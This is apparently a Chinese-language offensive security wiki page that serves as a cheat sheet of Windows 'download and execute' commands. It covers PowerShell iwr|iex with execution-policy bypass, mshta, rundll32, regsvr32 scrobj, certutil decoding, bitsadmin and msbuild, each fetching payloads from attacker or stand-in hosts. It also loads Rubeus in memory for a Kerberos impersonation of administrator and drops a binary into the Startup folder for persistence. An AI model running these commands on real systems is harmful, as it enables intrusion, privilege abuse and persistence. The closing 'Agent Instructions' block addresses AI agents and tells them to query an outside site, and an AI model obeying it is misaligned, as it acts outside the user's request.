# 下载并执行

**PowerShell**

```
从HTTP服务器
>powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://webserver/payload.ps1')|iex"

只下载
(New-Object System.Net.WebClient).DownloadFile("http://10.10.10.10/PowerUp.ps1", "C:\Windows\Temp\PowerUp.ps1")
Invoke-WebRequest "http://10.10.10.10/binary.exe" -OutFile "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\binary.exe"

下载并执行带参数的Rubeus
$data = (New-Object System.Net.WebClient).DownloadData('http://10.10.10.10/Rubeus.exe')
$assem = [System.Reflection.Assembly]::Load($data)
[Rubeus.Program]::Main("s4u /user:web01$ /rc4:1d77f43d9604e79e5626c6905705801e /impersonateuser:administrator /msdsspn:cifs/file01 /ptt".Split())

从程序集中执行特定方法
$data = (New-Object System.Net.WebClient).DownloadData('http://10.10.10.10/lib.dll')
$assem = [System.Reflection.Assembly]::Load($data)
$class = $assem.GetType("ClassLibrary1.Class1")
$method = $class.GetMethod("runner")
$method.Invoke(0, $null)
从webdav服务器
>powershell -exec bypass -f \\webdavserver\folder\payload.ps1
```

**CMD**

```
>cmd.exe /k < \\webdavserver\folder\batchfile.txt
```

**Cscript / Wscript**

```
>cscript //E:jscript \\webdavserver\folder\payload.txt
```

**Mshta**

```
>mshta vbscript:Close(Execute("GetObject(""script:http://webserver/payload.sct"")"))
>mshta http://webserver/payload.hta
>mshta \\webdavserver\folder\payload.hta
```

**Rundll32**

```
>rundll32 \\webdavserver\folder\payload.dll,entrypoint
>rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";o=GetObject("script:http://webserver/payload.sct");window.close();
```

**Regasm / Regsvc**

```
>C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /u \\webdavserver\folder\payload.dll
```

**Regsvr32**

```
>regsvr32 /u /n /s /i:http://webserver/payload.sct scrobj.dll
>regsvr32 /u /n /s /i:\\webdavserver\folder\payload.sct scrobj.dll
```

**Odbcconf**

```
>odbcconf /s /a {regsvr \\webdavserver\folder\payload_dll.txt}
```

**Msbuild**

```
>cmd /V /c "set MB="C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe" & !MB! /noautoresponse /preprocess \\webdavserver\folder\payload.xml > payload.xml & !MB! payload.xml"
```

**Certutil**

```
>certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.dll & C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil /logfile= /LogToConsole=false /u payload.dll
>certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.exe & payload.exe
```

**Bitsadmin**

```
>bitsadmin /transfer mydownloadjob /download /priority normal http://<attackerIP>/xyz.exe C:\\Users\\%USERNAME%\\AppData\\local\\temp\\xyz.exe
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://www.heresecurity.wiki/nei-wang-he-yu/ming-ling-yu-kong-zhi/xia-zai-bing-zhi-xing.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.